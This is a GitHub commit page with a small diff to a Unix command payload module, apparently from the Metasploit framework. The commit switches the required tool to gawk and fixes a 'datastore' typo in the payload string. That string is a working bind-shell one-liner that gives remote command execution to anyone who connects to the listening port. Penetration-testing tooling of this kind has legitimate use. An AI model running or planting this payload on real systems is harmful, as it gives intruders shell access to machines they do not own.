Skip to content

Commit e298872

Browse files
committed
Some changes with improvements.
1 parent d9609fb commit e298872

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/payloads/singles/cmd/unix/bind_awk.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ def initialize(info = {})
3030
'Handler' => Msf::Handler::BindTcp,
3131
'Session' => Msf::Sessions::CommandShell,
3232
'PayloadType' => 'cmd',
33-
'RequiredCmd' => 'awk',
33+
'RequiredCmd' => 'gawk',
3434
'Payload' =>
3535
{
3636
'Offsets' => { },
@@ -50,7 +50,7 @@ def generate
5050
# Returns the command string to use for execution
5151
#
5252
def command_string
53-
"awk 'BEGIN{for(s=\"/inet/tcp/#{dastore['LPORT']}/0/0\";s|&getline c;close(c)){while(c|&getline)print$0|&s}}'"
53+
"awk 'BEGIN{for(s=\"/inet/tcp/#{datastore['LPORT']}/0/0\";s|&getline c;close(c)){while(c|&getline)print$0|&s}}'"
5454
end
5555

5656
end

0 commit comments

Comments
 (0)